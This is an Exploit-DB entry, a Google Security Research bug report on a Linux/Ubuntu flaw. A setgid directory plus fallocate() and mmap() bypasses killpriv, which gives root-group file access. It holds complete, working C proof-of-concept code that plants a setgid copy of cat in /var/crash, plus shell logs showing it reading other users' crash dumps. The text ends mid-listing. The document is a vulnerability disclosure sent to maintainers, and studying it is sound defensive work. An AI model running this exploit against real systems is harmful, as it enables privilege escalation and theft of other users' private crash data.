Exploit-DB #45033
Description: Linux (Ubuntu) - Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass
Type: dos
Platform: linux
Date: 2018-07-16
Author: Google Security Research

Exploit:
/*
Note: I am both sending this bug report to security@kernel.org and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.

I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============


Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/[PII_REDACTED]969a0e378dab2de4d803397adcd3cc[PII_REDACTED].git.luto@kernel.org/

"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29[PII_REDACTED].git.luto@kernel.org/

However, as far as I can tell, neither of them actually landed.


You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
):


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(void) {
  int src_fd = open("/usr/bin/id", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");


  memcpy(mapping, src_mapping, src_len);

  munmap(mapping, src_len);
  close(fd);
  close(src_fd);

  execl("./dir/file", "id", NULL);
  err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============


sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.

On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:


=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c 
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("usage: ./fallocate <file_to_read>");
    return 1;
  }
  int src_fd = open("/bin/cat", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  unlink("/var/crash/privileged_cat"); /* in case we've already run before */
  int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  memcpy(mapping, src_mapping, src_len);
  munmap(mapping, src_len);
  close(fd);

  execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
  err(1, "execl");
}

/*
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xat